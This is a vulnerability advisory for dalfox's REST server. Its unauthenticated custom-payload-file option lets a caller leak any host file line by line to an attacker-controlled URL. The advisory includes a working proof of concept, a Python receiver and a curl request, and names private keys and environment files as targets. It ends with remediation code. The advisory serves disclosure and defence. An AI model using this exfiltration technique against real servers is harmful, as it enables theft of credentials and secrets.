Summary

When dalfox is run in REST API server mode, the custom-payload-file field in model.Options is JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through dalfox.Initialize into the scan engine. The engine passes the value to voltFile.ReadLinesOrLiteral, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic.

Severity

High (CVSS 3.1: 7.5)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

• Attack Vector: Network — server binds to 0.0.0.0:6664 by default; reachable by any network peer.
• Attack Complexity: Low — no preconditions beyond network access; skip-discovery and param are both attacker-supplied, so the code path is fully under attacker control.
• Privileges Required: None — --api-key defaults to "", so the auth middleware is not registered.
• User Interaction: None.
• Scope: Unchanged — the file read and the outbound HTTP exfiltration request both originate from the same dalfox process authority.
• Confidentiality Impact: High — the attacker can read any file the dalfox process can open: private keys, configuration files containing database credentials, environment files, /etc/passwd, etc.
• Integrity Impact: None — this path is read-only.
• Availability Impact: None.

Affected Component

• cmd/server.go — init() (line 51): --api-key defaults to "" — no auth by default
• pkg/server/server.go — setupEchoServer() (line 68): auth middleware only registered when APIKey != ""
• pkg/server/server.go — postScanHandler() (lines 173–191): rq.Options (including CustomPayloadFile) passed to ScanFromAPI without sanitization
• lib/func.go — Initialize() (line 117): CustomPayloadFile explicitly propagated from caller options
• pkg/scanning/scan.go — anonymous block (lines 341–368): voltFile.ReadLinesOrLiteral(options.CustomPayloadFile) reads file; contents injected into outbound requests

CWE

• CWE-306: Missing Authentication for Critical Function
• CWE-73: External Control of File Name or Path
• CWE-552: Files or Directories Accessible to External Parties

Description

custom-payload-file Is Fully Attacker-Controlled

model.Options exposes CustomPayloadFile with a JSON tag:

// pkg/model/options.go:33
CustomPayloadFile string `json:"custom-payload-file,omitempty"`

postScanHandler binds the entire Req.Options from the JSON body and passes it directly to ScanFromAPI:

// pkg/server/server.go:173-191
rq := new(Req)
if err := c.Bind(rq); err != nil { ... }
go ScanFromAPI(rq.URL, rq.Options, *options, sid)

ScanFromAPI passes rqOptions as target.Options to dalfox.Initialize:

// pkg/server/scan.go:22-27
target := dalfox.Target{
    URL:     url,
    Method:  rqOptions.Method,
    Options: rqOptions,
}
newOptions := dalfox.Initialize(target, target.Options)

Initialize explicitly copies CustomPayloadFile into newOptions with no filtering:

// lib/func.go:117
"CustomPayloadFile": {&newOptions.CustomPayloadFile, options.CustomPayloadFile},

File Read and Exfiltration Path

In pkg/scanning/scan.go, when the scan engine reaches the custom payload phase, it reads the attacker-specified file path:

// pkg/scanning/scan.go:341-366
if (options.SkipDiscovery || utils.IsAllowType(policy["Content-Type"])) && options.CustomPayloadFile != "" {
    ff, err := voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)
    if err != nil {
        printing.DalLog("SYSTEM", "Failed to load custom XSS payload file", options)
    } else {
        for _, customPayload := range ff {
            if customPayload != "" {
                for k, v := range params {
                    if optimization.CheckInspectionParam(options, k) {
                        ...
                        tq, tm := optimization.MakeRequestQuery(target, k, customPayload, "inHTML"+ptype, "toAppend", encoder, options)
                        query[tq] = tm
                    }
                }
            }
        }
    }
}

Each line of the file becomes a payload value embedded in a query parameter of an HTTP request sent to the attacker-controlled target URL. performScanning then dispatches every entry in the query map via SendReq, delivering the file's contents to the attacker's server as the value of the nominated parameter (e.g., ?q=<file-line>).

Condition Is Trivially Satisfiable

The condition options.SkipDiscovery || utils.IsAllowType(policy["Content-Type"]) is satisfied by setting skip-discovery: true in the JSON request body — a field the attacker fully controls. When SkipDiscovery is true, the engine also requires at least one parameter via UniqParam (the -p flag), which the attacker supplies as param: ["q"]. The code then hardcodes policy["Content-Type"] = "text/html" and populates params["q"] automatically:

// pkg/scanning/scan.go:224-240
if len(options.UniqParam) == 0 {
    return scanResult, fmt.Errorf("--skip-discovery requires parameters to be specified with -p flag")
}
for _, paramName := range options.UniqParam {
    params[paramName] = model.ParamResult{
        Name: paramName, Type: "URL", Reflected: true, Chars: payload.GetSpecialChar(),
    }
}
policy["Content-Type"] = "text/html"

Both conditions are fully attacker-controlled through the JSON request body.

No Defense at Any Layer

The same opt-in API key guard from the first finding applies identically here:

// pkg/server/server.go:68-70
if options.ServerType == "rest" && options.APIKey != "" {
    e.Use(apiKeyAuth(options.APIKey, options))
}

With the default empty API key, no middleware is installed and every endpoint is unauthenticated. There is no path sanitization, no allowlist, and no IsAPI guard around the CustomPayloadFile read.

Proof of Concept

# Step 1 — Attacker-controlled receiver (logs q= parameter to stdout)
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        q = parse_qs(urlparse(self.path).query).get('q', [''])[0]
        print("[RECEIVED] q =", q, flush=True)
        body = b'<html><body>ok</body></html>'
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body)
    def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 18081), H).serve_forever()
PY

# Step 2 — Start dalfox REST server (default: no API key)
go run . server --host 127.0.0.1 --port 16664 --type rest

# Step 3 — Exfiltrate /etc/hostname (or any file readable by the dalfox process)
curl -s -X POST http://127.0.0.1:16664/scan \
  -H 'Content-Type: application/json' \
  --data '{
    "url": "http://127.0.0.1:18081/?q=test",
    "options": {
      "custom-payload-file": "/etc/hostname",
      "only-custom-payload": true,
      "skip-discovery": true,
      "param": ["q"],
      "use-headless": false,
      "worker": 1
    }
  }'

# Expected output on the receiver (Step 1 terminal):
# [RECEIVED] q = myhostname.local

# For multi-line files (e.g. /etc/passwd), each line arrives as a separate request

No X-API-KEY header is required. Replace /etc/hostname with any file path accessible to the dalfox process (e.g., ~/.ssh/id_rsa, /run/secrets/db_password, /proc/self/environ).

Impact

• Arbitrary file read on the dalfox host: any file readable by the dalfox process (SSH private keys, TLS certificates, .env files, cloud credential files, /proc/self/environ) can be exfiltrated one line at a time.
• No authentication required under the default configuration.
• The exfiltration channel is the dalfox host's own outbound HTTP scan traffic — no inbound connection from the attacker to the dalfox host is needed beyond the initial REST API call.
• Combined with the found-action RCE finding (separate issue), an attacker could first read /proc/self/environ to harvest secrets, then execute commands.

Recommended Remediation

Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred)

Apply a denylist of fields that should never be accepted from the REST API, regardless of auth state. This protects authenticated deployments against credential-theft or privilege escalation by external API consumers:

// pkg/server/server.go — in postScanHandler, before ScanFromAPI:
rq.Options.CustomPayloadFile = ""
rq.Options.CustomBlindXSSPayloadFile = ""
rq.Options.FoundAction = ""
rq.Options.FoundActionShell = ""
rq.Options.OutputFile = ""
rq.Options.HarFilePath = ""

Option 2: Require --api-key at server startup

Make authentication mandatory and refuse to start without it:

// cmd/server.go — in runServerCmd:
if serverType == "rest" && apiKey == "" {
    fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.")
    os.Exit(1)
}

Both options should be applied together. Option 2 prevents unauthenticated access to the API entirely; Option 1 ensures that even trusted API callers cannot leverage the server to read files from the host filesystem.

##Credit

Emmanuel David

Github:- https://github.com/drmingler

References

• GHSA-35wr-x7v6-9fv2
• https://github.com/hahwul/dalfox/releases/tag/v2.13.0